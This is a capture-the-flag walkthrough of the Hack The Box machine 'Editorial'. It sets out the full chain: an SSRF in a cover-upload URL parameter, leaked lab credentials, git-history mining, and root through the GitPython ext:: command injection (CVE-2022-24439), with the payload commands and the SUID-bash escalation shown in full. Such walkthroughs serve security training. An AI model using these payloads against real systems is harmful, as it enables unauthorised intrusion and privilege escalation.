Editorial — Hack The Box

InfoValue
OSLinux (Ubuntu)
DifficultyEasy
IP10.129.1.56
Hostnameeditorial.htb
ServicesSSH (22), HTTP/nginx (80)

Enumeration

See also: Network Discovery & Scanning and Reconnaissance-and-Information-Gathering

Nmap

nmap -sC -sV -p- -vvv -oA nmap.scan 10.129.1.56
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb

Open ports:

  • 22/tcp — OpenSSH 8.9p1 Ubuntu → SSH Notes
  • 80/tcp — nginx 1.18.0 → redirect to http://editorial.htb

Web Application

The website features a book cover upload functionality at the /upload-cover endpoint. The form accepts a bookurl parameter that allows specifying a URL from which to retrieve the cover image.


SSRF — Server-Side Request Forgery

Deep dive: Server-Side Request Forgery (SSRF)

Vulnerability Identification

The bookurl parameter in the POST request to /upload-cover is vulnerable to SSRF. By inserting internal URLs such as http://localhost:<port>/, the server resolves them on the backend.

Observed behavior:

  • If the port/endpoint is valid → responds with a path like static/uploads/<uuid> (file containing the internal response content)
  • If the port/endpoint is invalid → responds with /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg (default image)

Internal Port Scanning

Using SSRF, I performed an internal port scan on http://localhost:<port>/ by varying the port number. I identified an internal API on port 5000.

Internal API Enumeration

Endpoint discovered via SSRF:

http://localhost:5000/api/latest/metadata/messages/authors

SSRF Request (Burp Suite):

The POST request to /upload-cover with bookurl set to http://localhost:5000/api/latest/metadata/messages/authors returns static/uploads/e74a2231-3be5-4eeb-94f9-b3443a96b8f6.

Credential Leak

By downloading the file generated by SSRF (GET /static/uploads/e74a2231-3be5-4eeb-94f9-b3443a96b8f6), I obtain a JSON containing an email template with plaintext credentials:

{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\n\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

Obtained credentials:

UsernamePassword
devdev080217_devAPI!@

Foothold — SSH as dev

Login SSH with the credentials obtained from the SSRF:

ssh dev@editorial.htb
# Password: dev080217_devAPI!@

Lateral Movement — dev → prod

Git repository in ~/apps

Technique: Code Repository Mining

In dev’s home directory, there is a git repository:

dev@editorial:~/apps$ git log

The commit 1e84a036b2f33c59e2390730699a488c65643d28 (“feat: create api to editorial info”) contains the source of the Flask API with hardcoded credentials for user prod:

git show 1e84a036b2f33c59e2390730699a488c65643d28
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
    return jsonify({
        'template_mail_message': "...Username: prod\nPassword: 080217_Producti0n_2023!@\n..."
    }) # TODO: replace dev credentials when checks pass

prod credentials:

UsernamePassword
prod080217_Producti0n_2023!@

SSH as prod

ssh prod@editorial.htb
# Password: 080217_Producti0n_2023!@

Privilege Escalation — prod → root

Methodology: Privilege Escalation Vectors — Checklist: privesc-checklist

sudo -l

prod@editorial:~$ sudo -l
User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

Script Analysis

#!/usr/bin/python3
import os
import sys
from git import Repo
 
os.chdir('/opt/internal_apps/clone_changes')
 
url_to_clone = sys.argv[1]
 
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

The script uses GitPython with clone_from() and explicitly enables the ext protocol (protocol.ext.allow=always). User input (sys.argv[1]) is passed directly as an URL without sanitization.

CVE-2022-24439 — GitPython RCE

Vulnerability

GitPython < 3.1.30 is vulnerable to Remote Code Execution via git’s ext protocol. The ext:: protocol allows specifying an arbitrary command as a “remote helper”, which is executed by the system.

Ref: https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858

Exploitation

Direct injection of a reverse shell proved complicated, so a two-step approach was used — copying /bin/bash and setting the SUID bit:

# Step 1: copy /bin/bash to /tmp/pwn (executed as root via sudo)
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
  'ext::cp /bin/bash /tmp/pwn'
 
# Step 2: set SUID on the copied binary
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
  'ext::chmod 4755 /tmp/pwn'

Root shell

SUID Technique: SGID Exploitation

prod@editorial:/tmp$ ls -la pwn
-rwsr-xr-x  1 root root 1396520 Feb 16 17:35 pwn
 
prod@editorial:/tmp$ ./pwn -p
pwn-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)
pwn-5.1# whoami
root

Flag -p

The -p flag (privileged mode) is necessary to prevent bash from dropping the effective UID. Without -p, bash resets euid to uid and you remain as prod.


Attack Chain Summary

SSRF (bookurl) → Internal API :5000 → dev credentials

  SSH dev → Git history → prod credentials

  SSH prod → sudo GitPython (CVE-2022-24439) → SUID bash → root